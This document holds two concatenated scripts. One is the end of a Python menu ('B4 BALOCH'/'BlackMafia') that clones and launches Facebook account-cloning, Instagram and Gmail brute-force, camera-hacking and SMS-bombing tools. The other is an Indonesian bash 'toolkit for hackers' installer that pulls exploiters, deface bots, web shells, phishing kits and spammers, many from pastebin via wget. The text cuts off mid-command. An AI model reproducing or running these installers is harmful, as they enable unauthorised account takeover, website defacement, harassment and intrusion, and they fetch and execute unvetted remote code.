┈┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈┈┈| lolcat') os.system('echo ┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈┈ WhatsApp| lolcat --animate') os.system('echo ┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈┈03232132362| lolcat --animate') os.system('echo -----------------BELLA---------------| lolcat --animate') os.system('echo To return to this menu from any Tool| lolcat --animate') time.sleep(0.0005) os.system('echo Stop Process Press. CTRL + z| lolcat --animate') time.sleep(0.0005) os.system('echo Type python2 B4BALOCH.py| lolcat --animate') os.system('echo -----------------SHABIR BALOCH----------------| lolcat --animate') time.sleep(0.0005) os.system('echo [A] Install Random Mail Cloning--------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [B] Install Email Cloning--------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [C] Install Manual Password------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [D] Install Group Cloning--------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [E] Install With Out Fb Id-------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [F] Install Facebook Target------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [G] Install SpiderMan------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [H] Install Kalilinux------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [I] Install BlackHat-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [J] Install RedMoonNew------------------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [K] Install love3Hack3r----------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [L] Install B4 BALOCH Clonnig----------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [M] Install Web Admin Panel Finder------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [N] Install Attacker-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [O] Install Payload--------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [P] Install CamHacker------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [Q] Install Compiler-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [R] Install Instagram Brut-------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [S] Install Marsh Base------------------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [T] Install Gmail Target---------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [U] Install Termux Logo----------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [V] Install Termux TBomb---------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [W] B4 BALOCH M4 MASTER WhatsApp Group-------- Tool----● | lolcat --animate') time.sleep(0.0005) os.system('echo [X] BlackMafia Dragon404 New Update -----● | lolcat -a -F 0.01') time.sleep(0.0005) os.system('echo [Y] Tool Update--------------------------● | lolcat --animate') time.sleep(0.0005) os.system('echo [Z] EXIT | lolcat -a -F 0.1') time.sleep(0.0005) os.system('echo Slect Option A-Z➣➤| lolcat -a -F 0.1 ') mafia() def mafia(): black = raw_input('\033[1;91m┺\033[1;92m──\033[1;97m──\033[1;96m──\033[1;95m──\033[1;94m──\033[1;92m──\033[1;96m──━\033[1;93m➢\033[1;92m➣\033[1;91m➤') if black =="": print (" ShabirBaloch!") mafia() elif black =="A" or black =="a": clear() print(logo) os.system("rm -rf $HOME/random") clear() os.system("cd $HOME && git clone https://github.com/lovehacker404/random") print (logo) time.sleep(5) os.system("cd $HOME/random && python2 lovehacker.py") elif black =="B" or black =="b": clear() print(logo) os.system("rm -rf $HOME/email") os.system("cd $HOME && git clone https://github.com/lovehacker404/email") print (logo) time.sleep(5) os.system("cd $HOME/email && python2 lovehacker.py") elif black =="C" or black =="c": clear() print(logo) os.system("rm -rf BELLA/Password") os.system("cd $HOME && git clone https://github.com/lovehacker404/Password") print (logo) time.sleep(5) os.system("cd BELLA/Password && python2 lovehacker.py") elif black =="D" or black =="d": clear() print(logo) os.system("rm -rf BELLA/lovehack") os.system("cd $HOME && git clone https://github.com/lovehacker404/lovehack") print (logo) time.sleep(5) os.system("cd $HOME/lovehack && python2 lovehacker.py") elif black =="E" or black =="e": clear() print(logo) os.system("rm -rf $HOME/402") os.system("cd $HOME && git clone https://github.com/lovehacker404/402") print (logo) love("\033[1;93mTool User Name :\033[1;95m BELLA ") love("\033[1;93mTool Password :\033[1;95m BELLA") time.sleep(5) os.system("cd $HOME/402 && python2 Cloningx-2-1.py") elif black =="F" or black =="f": clear() print(logo) os.system("rm -rf $HOME/blackhole") os.system("cd $HOME && git clone https://github.com/lovehacker404/blackhole") print (logo) love("\033[1;93mTool User Name :\033[1;95m Black ") love("\033[1;93mTool Password :\033[1;95m Mafia ") love("\033[1;93m :Target Attack : ") love("\033[1;93mPassword list :\033[1;95mlovehacker-2.txt ") time.sleep(5) os.system("cd $HOME/blackhole && python2 AsifJaved.py") elif black =="G" or black =="g": clear() print(logo) os.system("rm -rf $HOME/Spider") os.system("cd $HOME && git clone https://github.com/lovehacker404/Spider") print (logo) love("\033[1;91mCongratulations Cobra Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name SpiderMan Password lovehacker") time.sleep(5) os.system("cd $HOME/Spider && python2 SpiderMan.py") elif black =="H" or black =="h": clear() print(logo) os.system("rm -rf $HOME/KaliIndia") os.system("cd $HOME && git clone https://github.com/lovehacker404/KaliIndia") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name India Password lovehacker") time.sleep(5) os.system("cd $HOME/KaliIndia && python2 kalilinux.India.py") elif black =="I" or black =="i": clear() print(logo) os.system("rm -rf $HOME/BlackHat") os.system("cd $HOME && git clone https://github.com/lovehacker404/BlackHat") print (logo) love("\033[1;96mCongratulations BlackHat Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name BlackHat Password lovehacker") time.sleep(5) os.system("cd $HOME/BlackHat && python2 BlackHat.py") elif black =="J" or black =="j": clear() print(logo) print(logo) os.system("rm -rf $HOME/RedMoonNew") os.system("cd $HOME && git clone https://github.com/lovehacker404/RedMoonNew") print (logo) love("\033[1;91mCongratulations RedMoonNew Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name\033[1;92m RedMoonNew\033[1;93m Password \033[1;92mlovehacker") time.sleep(6) os.system("cd $HOME/RedMoonNew && python2 lovehacker") elif black =="K" or black =="k": clear() print(logo) print(logo) os.system("rm -rf $HOME/lov3Hak3r") os.system("cd $HOME && git clone https://github.com/lovehacker404/lov3Hak3r") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/lov3Hak3r && python2 lovehacker.py") elif black =="L" or black =="l": clear() print(logo) print(logo) os.system("rm -rf $HOME/B4_BALOCH") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/B4_BALOCH.git") print (logo) love("\033[1;93mCongratulations Cobra Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;95mTool Dont Have Username And Password Enjoy But Use 786786 Pass Or Username On My Tool Thanks") time.sleep(5) os.system("cd $HOME/Cobra && python2 Scorpion.py") elif black =="M" or black =="m": clear() print(logo) print(logo) os.system("rm -rf $HOME/attack911") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/attack911.git") print (logo) love("\033[1;91mCongratulations attack911 Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;96mAdmin Panel Finder") time.sleep(5) os.system("cd $HOME/attack911 && python2 attack911.py") elif black =="N" or black =="n": clear() print(logo) print(logo) os.system("rm -rf $HOME/Attacker") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/Attacker.git") print (logo) love("\033[1;96mCongratulations Attacker Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;92mBest Script") time.sleep(5) os.system("cd $HOME/Attacker && python2 B4.py") elif black =="O" or black =="o": clear() print(logo) print(logo) os.system("pkg install unstable-repo") os.system("pkg install metasploit") os.system("pkg install msfconsole") os.system("rm -rf $HOME/Black_Mafia") os.system("cd $HOME && git clone https://github.com/lovehacker404/Black_Mafia") print (logo) love("\033[1;93mCongratulations Black_Mafia Payload Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Black_Mafia && python3 Black_Mafia.py") elif black =="P" or black =="p": clear() print(logo) print(logo) os.system("rm -rf $HOME/Pak") os.system("cd $HOME && git clone https://github.com/lovehacker404/Pak") print (logo) love("\033[1;96mCongratulations CamHacker Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;92mEducational Perpose only") time.sleep(2) os.system("cd $HOME/Pak && python lovehacker.py") elif black =="Q" or black =="q": clear() print(logo) os.system("rm -rf $HOME/Compile") os.system("cd $HOME && git clone https://github.com/lovehacker404/Compile") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Compile && python2 lovehacker.py") elif black =="R" or black =="r": clear() print(logo) print(logo) os.system("pip2 install bs4") os.system("rm -rf $HOME/Insta") os.system("cd $HOME && git clone https://github.com/lovehacker404/Insta") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") love("Passwordlist No1 (wordlist.txt) No2 (BlackMafia.txt)") time.sleep(5) os.system("cd $HOME/Insta && python2 lovehacker.py") elif black =="S" or black =="s": clear() print(logo) os.system("rm -rf $HOME/TimePass") os.system("cd $HOME && git clone https://github.com/lovehacker404/TimePass") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/TimePass && python2 lovehacker.py") elif black =="T" or black =="t": clear() print(logo) print(logo) os.system("rm -rf $HOME/GmailAttack") os.system("cd $HOME && git clone https://github.com/lovehacker404/GmailAttack") print (logo) love("\033[1;96mCongratulations GmailAttack Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("plz wi8 Password list name (lovehacker-1.txt) ") time.sleep(6) os.system("cd $HOME/GmailAttack && python2 lovehacker.py") elif black =="U" or black =="u": clear() print(logo) print(logo) os.system("rm -rf $HOME/Logo") os.system("cd $HOME && git clone https://github.com/lovehacker404/Logo") print (logo) love("\033[1;96mCongratulations BlackMafia Logo Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Logo && bash lovehacker.sh") elif black =="V" or black =="v": clear() print(logo) os.system("rm -rf $HOME/sms") os.system("cd $HOME && git clone https://github.com/lovehacker404/sms") print (logo) love("\033[1;96mCongratulations BlackMafia TBomb Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/sms && bash BlackMafia.sh") elif black =="W" or black =="w": clear() print(logo) love("Welcome To B4 BALOCH M4 MASTER WhatsApp Group") time.sleep(5) os.system('xdg-open https://chat.whatsapp.com/BcmyQPBz6lz3t6oVN8wLoi') elif black =="X" or black =="x": clear() print(logo) love("Welcome To B4 BALOCH 2nd Tool") love("BlackMafia 2nd Tool Start") love("Coming Soon New Update") time.sleep(5) os.system("rm -rf $HOME/Dragon404") os.system("cd $HOME && git clone https://github.com/lovehacker404/Dragon404") print (logo) love("\033[1;96mCongratulations Dragon404 Tool Has Been Installed Successfully") love("Wellcom to Dragon404 tool") os.system("cd $HOME/Dragon404 && python2 lovehacker.py") elif black =="Y" or black =="y": clear() print(logo) os.system("rm -rf $HOME/World") os.system("pip install lolcat") os.system("cd $HOME && git clone https://github.com/lovehacker404/World") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Update Successfully") time.sleep(5) os.system("cd $HOME/World && python2 Cloning.py") elif black =="Z" or black =="z": os.system("exit") if __name__ == "__main__": menu()
60-n3z
#!/data/data/com.termux/files/usr/bin/bash # Auto Install Tools v.2.1 # coded By Mr.60-n3z # dark line asosiasion # Bersihkan Layar clear blue='\e[0;34' cyan='\e[0;36m' green='\e[0;34m' okegreen='\033[92m' lightgreen='\e[1;32m' white='\e[1;37m' red='\e[1;31m' yellow='\e[1;33m' ################################################### # CTRL C ################################################### trap ctrl_c INT ctrl_c() { clear echo -e $red"[#]> (Ctrl + C ) Detected, Trying To Exit ... " sleep 1 echo "" echo -e $green"[#]> Terima kasih sudah make tools saya ... " sleep 1 echo "" echo -e $white"[#]> Mr.60-n3z Wuzz Here ... " read enter exit } echo -e $red" —-oooO—-" echo -e $red" —-(—)—-" echo -e $white" —–\–(–" echo -e $white" ——\_)-" echo -e $red" ***********************************************" echo -e $white" # $red toolkit for hackers v2.1 $white #" echo -e $red" # $red happy fun guys $red #" echo -e $white" # $red contact: mr.60-n3z drak cyber.net $white #" echo -e $red" # $white greetz :Dark line - Anonymous Cyber team $red#" echo -e $white" # $white copyright : ./Mr 60-n3z $white #" echo -e $red" # $white thanks to : 4wsec - Mr.haikal $red #" echo -e $white" ***********************************************" echo "" echo -e $green" 01) Red Hawk" echo -e $green" 02) D-Tect" echo -e $green" 03) Hunner" echo -e $green" 04) WPScan" echo -e $green" 05) Webdav" echo -e $green" 06) Metasploit" echo -e $green" 07) Kali Nethunter" echo -e $green" 08) Ubuntu" echo -e $green" 09) Youtube Dl" echo -e $green" 10) viSQL " echo -e $green" 11) Weeman" echo -e $green" 12) WFDroid" echo -e $green" 13) FBBrute" echo -e $green" 14) Ngrok" echo -e $green" 15) Torshammer " echo -e $green" 16) RouterSploit " echo -e $green" 17) Hydra " echo -e $green" 18) Weevely " echo -e $green" 19) SQLMap " echo -e $green" 20) Dirbuster " echo -e $green" 21) admin finder " echo -e $green" 22) lokomedia exploiter " echo -e $green" 23) elfinder exploiter " echo -e $green" 24) magento add admin exploiter " echo -e $green" 25) scanner tools " echo -e $green" 26) bing dorker " echo -e $green" 27) katoolin " echo -e $green" 28) arch linux " echo -e $green" 29) linux fedora" echo -e $green" 30) hash-buster" echo -e $green" 31) sudo" echo -e $green" 32) aircrack-ng" echo -e $green" 33) joomscan" echo -e $green" 34) bing-ip2hosts" echo -e $green" 35) BlueMaho" echo -e $green" 36) Bluepot" echo -e $green" 37) honeypot" echo -e $green" 38) bot auto deface 1" echo -e $green" 39) bot auto deface 2" echo -e $green" 40) mailer sender cli" echo -e $green" 41) Wordpress Brute Force" echo -e $green" 42) Oh-myzsh theme for termux" echo -e $green" 43) instabot (instagram bot)" echo -e $green" 44) fsociety" echo -e $green" 45) Cms Scanner" echo -e $green" 46) Information Gathering" echo -e $green" 47) com_fabrik exploiter" echo -e $green" 48) com foxcontact exploiter" echo -e $green" 49) gmail brute force" echo -e $green" 50) ezsploit" echo -e $green" 51) spammer-grab sms" echo -e $green" 52) spammer call toko-pedia" echo -e $green" 53) The Fat Rat" echo -e $green" 54) IPGeolocation" echo -e $green" 55) exit" echo -e $white"" read -p "[60-n3z @Tools]> " act; if [ $act = 01 ] || [ $act = 01 ] then clear echo -e $green" Installing Red Hawk " sleep 1 apt update && apt upgrade apt install php apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK echo -e $blue" sampun rampung " fi if [ $act = 02 ] || [ $act = 02 ] then clear echo -e $green" Installing D-Tect " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install python2 git clone https://github.com/shawarkhanethicalhacker/D-TECT echo -e $red" pun rampung mas " fi if [ $act = 03 ] || [ $act = 03 ] then clear echo -e $green" Installing Hunner " sleep 1 apt-get update && apt-get upgrade apt install python apt install git git clone https://github.com/b3-v3r/Hunner echo -e $red" sampun mantun mas " fi if [ $act = 04 ] || [ $act = 04 ] then clear echo -e $green" Installing Wpscan " sleep 1 apt-get update && apt-get upgrade apt install ruby apt install curl apt install git git clone https://github.com/wpscanteam/wpscan cd ~/wpscan gem install bundle bundle config build.nokogiri --use-system-libraries bundle install ruby wpscan.rb --update cd ~/ echo -e $red" wes mari cak " fi if [ $act = 05 ] || [ $act = 05 ] then clear echo -e $green" Installing Webdav " sleep 1 apt update && apt upgrade apt install python2 pip2 install urllib3 chardet certifi idna requests apt install openssl curl pkg install libcurl mkdir webdav cd ~/webdav wget https://pastebin.com/raw/HnVyQPtR -O webdav.py chmod 777 webdav.py cd ~/ echo -e $red" pun rampung boz " fi if [ $act = 06 ] || [ $act = 06 ] then clear echo -e $green" Installing Metasploit " sleep 1 apt update && apt upgrade apt install git apt install wget wget https://raw.githubusercontent.com/verluchie/termux-metasploit/master/install.sh chmod 777 install.sh sh install.sh echo -e $red" Mari Install Cuk " fi if [ $act = 07 ] || [ $act = 07 ] then clear echo -e $green" Installing Kali Nethunter " sleep 1 apt update && apt upgrade apt install git git clone https://github.com/Hax4us/Nethunter-In-Termux.git cd ~/Nethunter-In-Termux chmod 777 kalinethunter sh kalinethunter echo -e $red" pun ng Install Cuk " fi if [ $act = 08 ] || [ $act = 08 ] then clear echo -e $green" Installing Ubuntu " sleep 1 apt update && apt upgrade apt install git apt install wget apt install proot git clone https://github.com/Neo-Oli/termux-ubuntu.git cd ~/termux-ubuntu chmod +x ubuntu.sh sh ubuntu.sh echo " Fix network please wait " sleep 1 echo "nameserver 8.8.8.8" > /data/data/com.termux/files/home/termux-ubuntu/ubuntu-fs/etc/resolv.conf echo -e $red" Sampun mantun " fi if [ $act = 09 ] || [ $act = 09 ] then clear echo -e $green" Installing Youtube DL " sleep 1 apt update && apt upgrade apt install python pip3 install mps_youtube pip3 install youtube_dl apt install mpv echo " Untuk menjalankannya ketik "mpsyt" tanpa tanda petik " echo -e $red" Done Install Cuk " fi if [ $act = 10 ] || [ $act = 10 ] then clear echo -e $green" Installing viSQL " sleep 1 apt update && apt upgrade pkg install git pkg install python2 git clone https://github.com/blackvkng/viSQL.git cd ~/viSQL chmod 777 viSQL.py cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 11 ] || [ $act = 11 ] then clear echo -e $green" Installing Weeman " sleep 1 apt update && apt upgrade pkg install git apt install python2 git clone https://github.com/samyoyo/weeman cd ~/weeman pip2 install beautifulsoup pip2 install bs4 cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 12 ] || [ $act = 12 ] then clear echo -e $green" Installing WFDroid " sleep 1 apt update && apt upgrade apt install wget mkdir wfdroid cd ~/wfdroid wget https://raw.githubusercontent.com/bytezcrew/wfdroid-termux/master/wfdinstall chmod 777 wfdinstall sh wfdinstall cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 13 ] || [ $act = 13 ] then clear sleep 1 echo -e $green" Installing FBBrute " apt install python2 apt install python2-dev apt install wget pip2 install mechanize mkdir fbbrute cd ~/fbbrute wget https://pastebin.com/raw/aqMBt2xA -O fbbrute.py wget http://override.waper.co/files/password.apk mv password.apk password.txt chmod 777 fbbrute.py cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 14 ] || [ $act = 14 ] then clear echo -e $green" Installing Ngrok " sleep 1 apt install wget mkdir ngrok cd ~/ngrok wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip unzip ngrok-stable-linux-arm.zip cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 15 ] || [ $act = 15 ] then clear echo -e $green" Installing Hammer " sleep 1 pkg update pkg upgrade pkg install python pkg install git git clone https://github.com/cyweb/hammer cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 16 ] || [ $act = 16 ] then clear echo -e $green" Installing Routersploit " sleep 1 apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 17 ] || [ $act = 17 ] then clear echo -e $green" Installing Hydra " sleep 1 apt update && apt install -y wget apt install hydra wget http://scrapmaker.com/download/data/wordlists/dictionaries/rockyou.txt cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 18 ] || [ $act = 18 ] then clear echo -e $green" Installing Weevely " sleep 1 pkg update pkg upgrade git clone https://github.com/glides/Weevely cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 19 ] || [ $act = 19 ] then clear echo -e $green" Installing SQLMap " sleep 1 apt update && apt upgrade apt install python2 git clone https://github.com/sqlmapproject/sqlmap.git cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 20 ] || [ $act = 20 ] then clear echo -e $green" Installing Dirbuster " sleep 1 apt-get update apt-get install python apt-get install git git clone https://github.com/maurosoria/dirsearch.git cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 21 ] || [ $act = 21 ] then clear echo -e $green" Installing admin finder " sleep 1 apt update && apt upgrade apt-get install php mkdir adfin cd ~/webdav wget https://pastebin.com/raw/32txZ6Qr -O adfin.php cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 22 ] || [ $act = 22 ] then clear echo -e $green" installing lokomedia exploiter " sleep 1 apt update && apt upgrade apt-get install php mkdir lokomed cd ~/lokomed wget https://pastebin.com/raw/sPpJRjCZ -O lokomedia.php cd ~/ echo -e $red" Done Install Cuk " echo -e $red" usage : php lokomedia.php a.txt " fi if [ $act = 23 ] || [ $act = 23 ] then clear echo -e $green" installing elfinder exploiter " sleep 1 apt update && apt upgrade apt-get install php mkdir elfinder cd ~/elfinder wget https://pastebin.com/raw/S7Y2V19h -O elfinder.php cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 24 ] || [ $act = 24 ] then clear echo -e $green" installing magento add admin exploiter " sleep 1 apt update && apt upgrade apt-get install php mkdir magento cd ~/magento wget https://pastebin.com/raw/PXkG73pG -O magento.php cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 25 ] || [ $act = 25 ] then clear echo -e $green" installing scanner tools " sleep 1 apt update && apt upgrade apt install python2 mkdir scanner cd ~/scanner wget https://pastebin.com/raw/m79t1Zia -O scanner.py wget https://pastebin.com/raw/mgKxMWXh -O admins.1337 wget https://pastebin.com/raw/EafKj98D -O files.1337 cd ~/ echo -e $red" Done Install Cuk " echo -e $red" usage : python2 scanner.py site.com -m files " fi if [ $act = 26 ] || [ $act = 26 ] then clear echo -e $green" installing bing dorker " sleep 1 apt update && apt upgrade apt-get install php mkdir bing cd ~/bing wget https://pastebin.com/raw/tjQY6Tsg -O dorker.php cd ~/ echo -e $red" Done Install Cuk " fi if [ $act = 27 ] || [ $act = 27 ] then clear echo -e $green" installing katoolin " sleep 1 apt update && apt upgrade pkg install git pkg install python2 pkg install gnupg pkg install nano git clone https://github.com/LionSec/katoolin.git cd ~/katoolin echo -e $green"note : nano katoolin.py ganti semua kode /etc/apt/source.list dengan /data/data/com.termux/files/usr/etc/apt/sources.list kemudian simpan dengan menekan ctrl O enter kemudian ctrl X . jika tidak ada menu ctrl pada keyboard munculkan dengan menahan tombol volume atas kemudian ketik Q pada keyboard maka menu ctrl akan muncul di atas keyboard python2 katoolin.py Sisanya bisa mengikuti cara install di atas, Jika menemui masalah gpg error saat melakukan add repository install gnupg-curl dengan perintah pkg install gnupg-curl Untuk yg menggunakan termux dengan cpu arm64 (aarch64) tidak bisa menambahkan repositori kali linux karna kali linux tidak support aarch64, jadi sebelum menginstall tools kali di termux wajib dengan android dengan arm32 jika arm64 gunakan gnuroot" echo -e $red" Done Install Cuk " fi if [ $act = 28 ] || [ $act = 28 ] then clear echo -e $green" installing arch linux " sleep 1 apt update && apt upgrade apt-get install git cd ~/ git clone https://github.com/sdrausty/termux-archlinux.git cd termux-archlinux chmod +x setupTermuxArch.sh ./setupTermuxArch.sh echo -e $red" Done Install Cuk " fi if [ $act = 29 ] || [ $act = 29 ] then clear echo -e $green" installing fedora " sleep 1 apt update && apt upgrade apt-get install git apt install wget git clone https://github.com/nmilosev/termux-fedora.git cd termux-fedora chmod +x termux-fedora.sh echo -e $red" Done Install Cuk " fi if [ $act = 30 ] || [ $act = 30 ] then clear echo -e $green" installing hash-Buster " sleep 1 apt update && apt upgrade apt install python2 && apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster echo -e $red" Done Install Cuk " fi if [ $act = 31 ] || [ $act = 31 ] then clear echo -e $green" installing sudo " sleep 1 apt update && apt upgrade pkg install git ncurses-utils git clone https://github.com/st42/termux-sudo.git cd termux-sudo cat sudo > /data/data/com.termux/files/usr/bin/sudo chmod 700 /data/data/com.termux/files/usr/bin/sudo echo -e $red" Done Install Cuk " fi if [ $act = 32 ] || [ $act = 32 ] then clear echo -e $green" installing aircrack-ng " sleep 1 apt-get update && apt-get upgrade apt-get install aircrack-ng echo -e $red" done install cuk " fi if [ $act = 33 ] || [ $act = 33 ] then clear echo -e $green" installing joomscan " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install perl git clone https://github.com/rezasp/joomscan.git echo -e $red" done install cuk " fi if [ $act = 34 ] || [ $act = 34 ] then clear echo -e $green" installing bing-ip2hosts " sleep 1 apt-get update && apt-get upgrade apt-get install wget wget http://www.morningstarsecurity.com/downloads/bing-ip2hosts-0.4.tar.gz && tar -xzvf bing-ip2hosts-0.4.tar.gz && cp bing-ip2hosts-0.4/bing-ip2hosts /usr/local/bin/t echo -e $red" done install cuk " fi if [ $act = 35 ] || [ $act = 35 ] then clear echo -e $green" installing BlueMaho " sleep 1 apt-get update && apt-get upgrade apt-get install git git clone git://git.kali.org/packages/bluemaho.git echo -e $red" done install cuk " fi if [ $act = 36 ] || [ $act = 36 ] then clear echo -e $green" installing Bluepot " sleep 1 apt-get update && apt-get upgrade apt-get install git git clone git://git.kali.org/packages/bluepot.git echo -e $red" done install cuk " fi if [ $act = 37 ] || [ $act = 37 ] then clear echo -e $green" installing honeypot " sleep 1 apt-get update && apt-get upgrade apt-get install git && apt-get install php git clone https://github.com/whackashoe/php-spam-mail-honeypot.git echo -e $red" done install cuk " fi if [ $act = 38 ] || [ $act = 38 ] then clear echo -e $green" installing bot auto deface 1 " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install wget apt-get install perl apt-get install unzip git clone https://github.com/mrcakil/bot.git cd bot unzip bot.zip cd xploit chmod 777 bot.pl echo -e $red" Lokasi bot ? /bot/xploit/bot.pl" echo -e $red" done install cuk " fi if [ $act = 39 ] || [ $act = 39 ] then clear echo -e $green" installing bot auto deface 2 " sleep 1 apt-get update && apt-get upgrade apt-get install git && apt-get install perl git clone https://github.com/Moham3dRiahi/XAttacker cd XAttacker chmod 777 XAttacker.pl echo -e $red" done install cuk " fi if [ $act = 40 ] || [ $act = 40 ] then clear echo -e $green" installing mailer-sender " sleep 1 apt-get update && apt-get upgrade apt-get install php5-cli curl -sS https://getcomposer.org/installer | php chmod +x composer.phar sudo mv composer.phar /usr/bin/composer git clone https://github.com/pedro-stanaka/mailer-cli.git echo -e $red" note !! " echo -e $red" usage php sendmail.php notification:mailer <email> <subject> <body>; " echo -e $red" or " echo -e $red" php sendmail.php --help " echo -e $red" done install cuk " fi if [ $act = 41 ] || [ $act = 41 ] then clear echo -e $green" installing wordpress brute force " sleep 1 apt-get update && apt-get upgrade apt-get install python2 pip install request git clone https://github.com/atarantini/wpbf echo -e $red" done install cuk " fi if [ $act = 42 ] || [ $act = 42 ] then clear echo -e $green" installing termux Ohmyzsh " sleep 1 apt-get update && apt-get upgrade sh -c "$(curl -fsSL https://github.com/Cabbagec/termux-ohmyzsh/raw/master/install.sh)" ~/.termux/colors.sh echo -e $red" ganti color ? ketik ~/.termux/colors.sh " echo -e $red" Done Install Cuk " fi if [ $act = 43 ] || [ $act = 43 ] then clear echo -e $green" installing Instabot instagram bot " sleep 1 apt-get update && apt-get upgrade pkg install python2 apt-get install git apt-get install nano git clone https://github.com/instabot-py/instabot.py echo -e $red" Done Install Cuk " echo -e $red" Please wait... " echo -e $red" Please wait... " sleep 1 cd instabot.py echo -e $red" ketik nano example.py " echo -e $red" masukan username dan password mu" echo -e $red" Done cuk " fi if [ $act = 44 ] || [ $act = 44 ] then clear echo -e $green" installing fsociety " sleep 1 apt-get update && apt-get upgrade pkg install python apt-get install git git clone https://github.com/Manisso/fsociety echo -e $red" Done Install Cuk " echo -e $red" Please wait... " echo -e $red" Please wait... " sleep 1 cd fsociety echo -e $red" python fsociety.py " fi if [ $act = 45 ] || [ $act = 45 ] then clear echo -e $green" installing CMS Scanner " sleep 1 apt-get update && apt-get upgrade pkg install python apt-get install git git clone https://github.com/Dionach/CMSmap.git sleep 1 cd CMSmap echo -e $red" Usage: cmsmap.py -t <URL> " fi if [ $act = 46 ] || [ $act = 46 ] then clear echo -e $green" installing INFORMATION Gathering " sleep 1 apt-get update && apt-get upgrade pkg install python apt-get install git git clone https://github.com/m4ll0k/Infoga.git infoga sleep 1 cd infoga pip install -r req echo -e $red" Usage: python infoga.py " fi if [ $act = 47 ] || [ $act = 47 ] then clear echo -e $green" installing com fabrik exploiter " sleep 1 apt-get update && apt-get upgrade apt-get install wget apt-get install php wget https://pastebin.com/raw/LDvFvtUD -O com_fabrik.php sleep 